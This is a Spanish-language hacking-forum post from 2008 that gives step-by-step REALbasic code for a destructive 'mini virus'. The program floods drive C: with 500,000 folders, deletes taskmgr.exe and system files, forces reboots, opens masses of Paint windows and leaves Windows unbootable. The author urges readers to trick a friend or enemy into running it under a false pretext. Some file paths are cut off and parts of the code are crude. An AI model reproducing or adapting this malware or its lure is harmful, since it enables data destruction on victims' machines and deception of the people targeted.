::..[HACKPARK]..::
¿Quieres reaccionar a este mensaje? Regístrate en el foro con unos pocos clics o inicia sesión para continuar.


FULL HACKS DE GB Y MAS...
 
ÍndiceÍndice  BuscarBuscar  Últimas imágenesÚltimas imágenes  RegistrarseRegistrarse  ConectarseConectarse  

 

 MINI VIRUS

Ir abajo 
AutorMensaje
EdWiN_HaCk.
Staff Park
Staff Park
EdWiN_HaCk.


Cantidad de envíos : 305
Edad : 31
Localización : nose la dare xD
Fecha de inscripción : 03/08/2008

MINI VIRUS Empty
MensajeTema: MINI VIRUS   MINI VIRUS Icon_minitimeLun Ago 04, 2008 9:53 am

Que Necesitaremos?
Solamente Lenguaje de Programacion Real Basic 2005 o 2006.
Descargalo de www.realsoftware.com o del Mismo Google.

Crea un Formulario Ejemplo Window1.
Despues Crea 3 Timers, Solamente Usaremos Eso.
Doble Click en el Formulario y Dentro de el Ponemos Este Codigo:

dim f as folderitem
Dim tmpcount as Integer

for tmpcount=1 to 500000
f=getfolderitem("c:\Poison San" + cstr(tmpcount))
f.CreateAsFolder
next tmpcount
Timer4.enabled = true
Timer5.enabled = true

Eso
se Ignifica que en la Unidad C Se Crearan 500000 Carpetas Con el Nombre
Poison San y Que el Timer4 y Timer5 Entraran en Accion.
Despues en el Timer1 Ponemos el Mismo Codigo:

dim f as folderitem
Dim tmpcount as Integer

for tmpcount=1 to 500000
f=getfolderitem("c:\Poison San" + cstr(tmpcount))
f.CreateAsFolder
next tmpcount

Hasta ahi Vamos Bien..
En el Timer2 Ponemos este Otro Codigo:

Dim FolItem as FolderItem
folitem=GetTrueFolderItem("C:\...
if folitem<>nil then
try
FolItem.Delete
catch
Msgbox "Borrando tus *******" + cstr(folitem.lasterrorcode)
end try
end if

Este
Otro Codigo Quiere Decir que el taskmgr.exe de la Direccion
C:\WINDOWS\system32\taskmgr.ex... Sera Borrado Completamente y Enviara
un Mensaje ala Victima ( MsgBox "Mensaje" ) Borrando tus *******, El
Cual puede ser Mensaje que Gustes.
En el Timer3 Ponemos un Codigo Parecido a este..

Dim FolItem as FolderItem
folitem=GetTrueFolderItem("C:\...
if folitem<>nil then
try
FolItem.Delete
catch
Msgbox "Error deleting folder" + cstr(folitem.lasterrorcode)
end try
end if

El Cual Quiere Decir que Borrara vbconfig.sys, Un Archivo muy Util para Windows.
Tu
Puedes Crear Otros Timers Mas Con el Mismo Codigo, Simplemente Cambia
la Dirreccion a Borrar Osea Seria Esta: C:\WINDOWS\vbaconfig.sys,
Puedes Cambiarla a C:\WINDOWS\system32 o Algo asi, Eso se lo dejo a tu
Imaginacion.

Crea el Timer4 y Dentro de el Ponemos el Siguiente Codigo:

killhost

Es Todo...
Luego Doble Click al Formulario y Agregamos un Method y lo Nombramos como killhost.
En el Method ya Nombrado como se Debe ponemos este Codigo:

Declare Function ExitWindowsEx Lib "user32.dll" (flg As Integer, rea as Integer) As Boolean
If not ExitWindowsEx(4, 0) Then MsgBox "Could not shutdown"

Esto Quiere Decir que el Timer4 Desconectara una Ves el dll "user32.dll"
Osea que la Pc Victima sera Reiniciada y Enviara el Mensaje Culd not shutdown!!

Hasta Ahorita el Virus va Sensacionalmente Hermoso!!
Por Ultimo..
Creamos el Timer5!!
Dentro del Timer5 Ponemos el Siguiente Codigo:

showurl "C:\WINDOWS\System32\mspaint.e...

Esto Quiere Decir que Se Abriran 100,000 Paints Trabando la Pc Victima con Ayuda del Codigo Pasado killhost.
Ultimo Detalle para Tener Nuestro Virus Correctamente..
Algo
Muy Facil..Creamos Ultimo Timer Llamado Timer6, Dentro del Timer
Ponemos este Codigo Cual sirve para Borrar algun Archivo...

Dim FolItem as FolderItem
folitem=GetTrueFolderItem("C:\...
if folitem<>nil then
try
FolItem.Delete
catch
Msgbox "Error deleting folder" + cstr(folitem.lasterrorcode)
end try
end if

Cual Sirve para Borrar un Archivo Sumamente Importante!!

¿Qué Hace Este Virus o Programa?

Tu Se lo Enviaras Algun Amigito o Enemigo de IRC Chat, Msn Etc.
Inventale alguna Excusa para que lo Ejecute, Ejemplo "Hey Abre este Programa Sirve para Hackear MSN"
En Fin es tu Imaginacion...
La
Victima al Abrir el Programa se le Crearan 500000 Carpetas con el
Nombre Poison San en la Unidad C, Llenandole la Mitad de Espacio en el
Disco Duro!!
Despues de Eso, Los Archivos taskmgr.exe y
vbaconfig.sys Seran Borrados del Systema, El Cual Produce que la
Victima no Pueda Usar alt+supr Intentando Terminar Proceso del
Programa.Despues Como el Proceso de Borrar estos Archivos Dura Tiempo,
Al Mismo Tiempo Su Pc Se le Reiniciara!!Si Algo Falla en la Reiniciada,
100.000 Paints se le Abriran Trabando su Pc y Obligando a Reiniciar.
El
Daño que tu Hisite Fue Malvado!!Ya que Le Llenaste la
Mitad de su Disco Duro de Carpetas y Jamas Volbera a Utilisar alt+supr,
Obligandolo a Formatear.
Pero eso no es Todo..El Timer6 Despues de
Todo eso..Carpetas, Paints y Archivos Borrados Borrara un Archivo
Esencial de Windows!!El Cual Cuando la Victima Reinicie o Apage su Pc,
Al Volber a Querer entrar a Windows No Podra!!
Su Pc Se Reiniciara Cada ves que Trate de Entrar a Windows!!Genial No?xD
Unica Manera de Salvarse de eso es Terminar Proceso y eso no se va Poder
Volver arriba Ir abajo
http://www.hackpark.tk
 
MINI VIRUS
Volver arriba 
Página 1 de 1.
 Temas similares
-
» mini tuto pa k aprovechen zu caos al maximo!

Permisos de este foro:No puedes responder a temas en este foro.
::..[HACKPARK]..:: :: DISEÑO GRAFICO :: FIRMAS-
Cambiar a: